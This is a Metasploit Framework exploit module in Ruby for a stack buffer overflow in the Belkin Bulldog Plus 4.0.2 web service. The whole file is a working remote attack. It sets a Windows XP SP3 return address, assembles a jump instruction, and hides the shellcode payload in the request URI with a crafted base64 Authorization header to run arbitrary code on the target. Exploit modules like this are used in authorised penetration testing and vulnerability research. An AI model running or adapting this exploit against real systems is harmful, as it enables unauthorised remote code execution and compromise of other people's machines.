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## # $Id: belkin_bulldog.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Belkin Bulldog Plus Web Service Buffer Overflow', 'Description'=> %q{ This module exploits a stack buffer overflow in Belkin Bulldog Plus 4.0.2 build 1219. When sending a specially crafted http request, an attacker may be able to execute arbitrary code. }, 'Author' => [ 'MC' ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 9262 $', 'References' => [ [ 'OSVDB', '54395' ], [ 'BID', '34033' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload'=> { 'Space'=> 750, 'BadChars' => "\x00", 'StackAdjustment' => -3500, 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, 'DisableNops'=>'True', }, 'Platform' => 'win', 'Targets'=> [ [ 'Windows XP SP3 English', { 'Ret' => 0x7e4456f7 } ], ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Mar 8 2009')) register_options( [ Opt::RPORT(80) ], self.class ) end def exploit c = connect dwerd = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call dword [esp+58h]").encode_string filler = [target.ret].pack('V') + dwerd + make_nops(28) print_status("Trying target #{target.name}...") send_request_raw({ 'uri'=> payload.encoded, 'version'=> '1.1', 'method' => 'GET', 'headers'=> { 'Authorization' => "Basic #{Rex::Text.encode_base64(filler)}" } }, 5) handler end end |
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